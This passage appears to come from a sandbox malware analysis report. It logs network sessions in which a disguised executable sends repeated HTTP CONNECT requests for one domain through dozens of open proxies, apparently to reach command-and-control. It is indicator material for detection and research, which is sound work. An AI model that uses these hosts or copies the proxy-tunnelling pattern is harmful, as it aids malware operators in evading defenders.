Mar 11, 2024 16:42:56.172828913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:20.297848940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:08.313371897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1772	192.168.2.11	53650	115.89.203.59	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.962172031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.985671997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.985737085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:47.860912085 CET	110	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache/2.4.58 (codeit) mod_jk/1.2.48 OpenSSL/3.0.12+quic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1773	192.168.2.11	53727	104.200.152.30	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.963067055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1774	192.168.2.11	53599	62.109.0.18	24101	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.963155031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.985677958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.985739946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.985474110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:56.079137087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:08.079097033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:20.081348896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:44.081320047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:32.078969002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1775	192.168.2.11	53686	5.202.104.22	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.968588114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1776	192.168.2.11	54948	198.8.94.174	39078	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.969127893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1777	192.168.2.11	53762	52.151.210.204	9002	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.972309113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1778	192.168.2.11	53635	79.110.201.235	8081	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.977514982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1779	192.168.2.11	53708	185.82.218.52	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:31.989010096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1780	192.168.2.11	53690	111.221.3.86	5566	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.002429962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1781	192.168.2.11	51795	199.102.104.70	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.002513885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1782	192.168.2.11	53816	91.134.140.160	49042	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.006664991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1783	192.168.2.11	54655	98.178.72.21	10919	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.006902933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1784	192.168.2.11	53974	92.205.61.38	36073	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.028053045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.188641071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.282733917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.297940016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:56.375955105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:08.469681978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:20.469765902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1785	192.168.2.11	55130	68.71.249.153	48606	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.028212070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1786	192.168.2.11	55129	196.20.125.129	8083	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.032471895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1787	192.168.2.11	55124	68.169.60.220	8380	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.036704063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1788	192.168.2.11	55132	59.6.26.121	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.040015936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.340358973 CET	166	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1789	192.168.2.11	53903	36.134.25.72	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.047401905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:35.551764965 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1790	192.168.2.11	53999	91.134.140.160	56495	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.061288118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.746345043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.817730904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.829447031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1791	192.168.2.11	55137	69.61.200.104	36181	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.134741068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1792	192.168.2.11	53985	103.123.25.65	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.135010004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:07.581304073 CET	836	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:43:07 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 644 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 61 64 6d 69 6e 40 6c 70 73 65 2e 6b 61 6c 74 65 6e 67 2e 67 6f 2e 69 64 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at admin@lpse.kalteng.go.id to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.18 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1793	192.168.2.11	55133	105.112.140.218	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.135706902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.995235920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.329392910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.712263107 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1794	192.168.2.11	55140	34.135.203.172	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.153218031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:45.327711105 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1795	192.168.2.11	55138	27.76.193.213	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.231493950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1796	192.168.2.11	55145	74.119.144.60	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.247529030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1797	192.168.2.11	55147	192.111.130.5	17002	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:32.269562960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1798	192.168.2.11	55149	195.25.20.108	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
